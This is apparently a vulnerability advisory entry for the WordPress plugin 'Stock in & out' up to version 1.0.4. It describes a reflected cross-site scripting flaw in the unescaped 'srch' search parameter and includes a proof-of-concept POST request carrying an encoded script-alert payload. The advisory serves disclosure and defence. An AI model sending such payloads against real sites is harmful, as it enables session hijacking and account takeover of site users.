Stock in & out <= 1.0.4 - Reflected Cross-Site Scripting (XSS)

2021-05-2700:00:00

wpvulndb

0.001 Low

EPSS

Percentile

22.0%

JSON

The plugin has a search functionality, the lowest accessible level to it being contributor. The srch POST parameter is not validated, sanitised or escaped before using it in the echo statement, leading to a reflected XSS issue

POST /wp-admin/admin.php?page=stock_in HTTP/1.1
Content-Length: 66
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
Cookie: [contributor+]
Connection: close

srch=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&search=Search+Product

References

codevigilant.com/disclosure/2021/wp-plugin-stock-in/

0.001 Low

EPSS

Percentile

22.0%

JSON

Related for WPEX-ID:C25146FD-4143-463C-8C85-05DD33E9A77B